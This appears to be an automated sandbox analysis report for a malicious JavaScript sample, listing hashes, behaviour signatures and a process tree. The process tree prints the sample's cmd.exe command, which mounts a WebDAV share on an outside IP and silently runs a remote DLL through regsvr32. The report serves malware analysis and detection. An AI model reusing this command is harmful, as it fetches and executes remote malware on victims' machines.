Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
24/07/2024, 03:47
Static task
static1
Behavioral task
behavioral1
Sample
ac592d5c3fd294cb46ff5029acd917ad66f90b3cc9dc028e68f8ef5d1ce93925.js
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
ac592d5c3fd294cb46ff5029acd917ad66f90b3cc9dc028e68f8ef5d1ce93925.js
Resource
win10v2004-20240709-en
General
-
Target
ac592d5c3fd294cb46ff5029acd917ad66f90b3cc9dc028e68f8ef5d1ce93925.js
-
Size
5KB
-
MD5
e2d5de037db5cd12dc55ece3ea29ef7a
-
SHA1
6a2c16b02942453d3a29e09a69b5e0560044bf7e
-
SHA256
ac592d5c3fd294cb46ff5029acd917ad66f90b3cc9dc028e68f8ef5d1ce93925
-
SHA512
30bb38cdab24b71f3b2a0ef613db6cb33e05542d4027b4a4e0c19ed30011001805996edd33f3280aaed4a48e6ca2064c7d368106d780eef0f2da2730c144064a
-
SSDEEP
96:ehko7ed/O56yqV70w30RQSYdbdt1IoA7iAkFloA7iTdbdC:Yko7edm3q50w30iSYdbdt1bA7iAkFSAp
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2172 wrote to memory of 3068 2172 wscript.exe 30 PID 2172 wrote to memory of 3068 2172 wscript.exe 30 PID 2172 wrote to memory of 3068 2172 wscript.exe 30 PID 3068 wrote to memory of 2100 3068 cmd.exe 32 PID 3068 wrote to memory of 2100 3068 cmd.exe 32 PID 3068 wrote to memory of 2100 3068 cmd.exe 32
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ac592d5c3fd294cb46ff5029acd917ad66f90b3cc9dc028e68f8ef5d1ce93925.js1⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\923424884419.dll2⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2100
-
-